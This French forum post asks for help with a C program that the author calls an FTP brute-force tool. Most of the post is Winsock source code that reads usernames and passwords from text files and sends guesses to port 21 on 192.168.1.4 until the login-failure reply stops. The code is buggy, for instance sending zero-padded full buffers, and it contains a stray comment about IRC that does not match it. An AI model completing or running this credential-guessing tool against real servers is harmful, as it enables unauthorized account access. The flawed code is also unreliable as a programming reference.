Bonjour a tous,voila je realise un logiciel de brute force ftp ceci etant pour améliorer mon niveau en programation,bref j'ai un probleme sur ma boucle qui est sensé verifier si le pass et bon ou pas le probleme étant que meme si le pass et bon le programme continu la boucle:
#include <stdio.h>
#include <stdlib.h>
#include<winsock2.h>
#include<string.h>
int main(int argc, char *argv[])
{
char user[200]={0};
char buffer[200]={0};
char pass[200]={0};
char verification[]="530 Login or password incorrect!";
int i;
FILE *pu;
FILE *pp;
pp=fopen("user.txt","r");//ouverture du fichier texte contenant les nom d'utilisateur
fgets(user,sizeof user,pp);//lecture de la première ligne dans le txt et ecriture dans user
pu=fopen("pass.txt","r");//ouverture du fichier txt contenant les pass
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKADDR_IN sin;
/* Tout est configuré pour se connecter sur IRC, haarlem, Undernet. */
sock = socket(AF_INET, SOCK_STREAM, 0);//creation d'une soket
sin.sin_addr.s_addr = inet_addr("192.168.1.4");//parametrage de la soket
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));// connection sur l'hote
recv(sock, buffer, sizeof(buffer), 0);//reception des donnees envoyer par le serveur ftp
printf("%s\n",buffer);
do
{
send(sock, user, sizeof(user), 0);//envoie du premier nom d'utilisateur precede de la commande user
for(i=0;i<200;i++)//boucle pour vider le buffer
{
buffer[i]=0;
}
recv(sock, buffer, sizeof(buffer), 0);
fgets(pass,sizeof pass,pu);//lecture du fichier txt pass
printf("%s\n",pass);
send(sock, pass, sizeof(pass), 0);//envoi du pass celui-ci etant precedé de la commande pass
for(i=0;i<200;i++)//2eme boucle pour vider le buffer
{
buffer[i]=0;
}
recv(sock, buffer, sizeof(buffer), 0);//reception des données envoyer par le serveur
printf("%s\n",buffer);
strcmp(buffer,verification);//comparaison des deux chaines pour savoir si le pass et correct ou non
}while(strcmp(buffer,verification)==0);//si la chaine buffer et egal à la chaine verification on boucle
closesocket(sock);
WSACleanup();
system("PAUSE>0");
return 0;
}
si quelqu'un pouvait me dire pourquoi ma boucle ne s'arrete pas merci d'avance